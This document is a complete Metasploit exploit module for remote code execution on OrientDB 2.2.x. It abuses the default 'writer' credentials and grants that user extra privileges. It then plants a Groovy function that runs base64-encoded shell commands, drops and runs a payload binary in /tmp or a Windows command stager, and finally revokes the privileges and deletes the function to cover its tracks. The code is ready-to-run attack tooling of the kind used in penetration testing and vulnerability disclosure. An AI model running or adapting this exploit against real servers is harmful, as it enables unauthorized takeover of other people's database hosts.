OrientDB 2.2.x Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OrientDB 2.2.x Remote Code Execution',  
'Description' => %q{  
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.  
All versions from 2.2.2 up to 2.2.22 should be vulnerable.  
},  
'Author' =>  
[  
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC  
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],  
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],  
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']  
],  
'Platform' => %w{ linux unix win },  
'Privileged' => false,  
'Targets' =>  
[  
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],  
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],  
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]  
],  
'DisclosureDate' => 'Jul 13 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(2480),  
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),  
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),  
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])  
])  
end  
  
def check  
uri = target_uri  
uri.path = normalize_uri(uri.path)  
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})  
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./  
print_good("Version: #{res.headers['Server']}")  
return Exploit::CheckCode::Vulnerable  
else  
print_status("Version: #{res.headers['Server']}")  
return Exploit::CheckCode::Safe  
end  
end  
  
def http_send_command(cmd, opts = {})  
# 1 -Create the malicious function  
func_name = Rex::Text::rand_text_alpha(5).downcase  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },  
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"  
}  
res = send_request_raw(request_parameters)  
if not (res and res.code == 201)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to create the malicious function.')  
return  
end  
end  
# 2 - Trigger the malicious function  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },  
'data' => ""  
}  
req = send_request_raw(request_parameters)  
if not (req and req.code == 200)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')  
return  
end  
end  
# 3 - Get the malicious function id  
if res && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["@rid"]  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')  
return  
end  
end  
func_id = json_body.slice(1..-1)  
# 4 - Delete the malicious function  
request_parameters = {  
'method' => 'DELETE',  
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => ""  
}  
rer = send_request_raw(request_parameters)  
if not (rer and rer.code == 204)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')  
return  
end  
end  
end  
  
def java_craft_runtime_exec(cmd)  
decoder = Rex::Text.rand_text_alpha(5, 8)  
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)  
cmd_array = Rex::Text.rand_text_alpha(5, 8)  
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"  
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"  
jcode << "String [] #{cmd_array} = new String[3];\n"  
if target['Platform'] == 'win'  
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"  
jcode << "#{cmd_array}[1] = \"/c\";\n"  
else  
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"  
jcode << "#{cmd_array}[1] = \"-c\";\n"  
end  
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"  
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"  
jcode  
end  
  
def on_new_session(client)  
if not @to_delete.nil?  
print_warning("Deleting #{@to_delete} payload file")  
execute_command("rm #{@to_delete}")  
end  
end  
  
def execute_command(cmd, opts = {})  
vprint_status("Attempting to execute: #{cmd}")  
@uri = target_uri  
@uri.path = normalize_uri(@uri.path)  
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})  
if res && res.code == 200 && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["databases"]  
rescue JSON::ParserError  
print_error("Unable to parse JSON")  
return  
end  
else  
print_error("Timeout or unexpected response...")  
return  
end  
targetdb = json_body[0]  
http_send_command(cmd,targetdb)  
end  
  
def linux_stager  
cmds = "echo LINE | tee FILE"  
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
base64 = Rex::Text.encode_base64(exe)  
base64.gsub!(/\=/, "\\u003d")  
file = rand_text_alphanumeric(4+rand(4))  
execute_command("touch /tmp/#{file}.b64")  
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")  
base64.each_line do |line|  
line.chomp!  
cmd = cmds  
cmd.gsub!(/LINE/, line)  
execute_command(cmds)  
end  
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")  
execute_command("chmod +x /tmp/#{file}")  
execute_command("rm /tmp/#{file}.b64")  
execute_command("/tmp/#{file}")  
@to_delete = "/tmp/#{file}"  
end  
  
def exploit  
@uri = target_uri  
@uri.path = normalize_uri(@uri.path)  
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})  
if res && res.code == 200 && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["databases"]  
rescue JSON::ParserError  
print_error("Unable to parse JSON")  
return  
end  
else  
print_error("Timeout or unexpected response...")  
return  
end  
targetdb = json_body[0]  
privs_enable = ['create','read','update','execute','delete']  
items = ['database.class.ouser','database.function','database.systemclusters']  
# Set the required DB permissions  
privs_enable.each do |priv|  
items.each do |item|  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),  
'vars_get' => { 'format' => 'rid,type,version,class,graph' },  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => "GRANT #{priv} ON #{item} TO writer"  
}  
res = send_request_raw(request_parameters)  
end  
end  
# Exploit  
case target['Platform']  
when 'win'  
print_status("#{rhost}:#{rport} - Sending command stager...")  
execute_cmdstager(flavor: :vbs)  
when 'unix'  
print_status("#{rhost}:#{rport} - Sending payload...")  
res = http_send_command("#{payload.encoded}","#{targetdb}")  
when 'linux'  
print_status("#{rhost}:#{rport} - Sending Linux stager...")  
linux_stager  
end  
handler  
# Final Cleanup  
privs_enable.each do |priv|  
items.each do |item|  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),  
'vars_get' => { 'format' => 'rid,type,version,class,graph' },  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => "REVOKE #{priv} ON #{item} FROM writer"  
}  
res = send_request_raw(request_parameters)  
end  
end  
end  
end  
  
`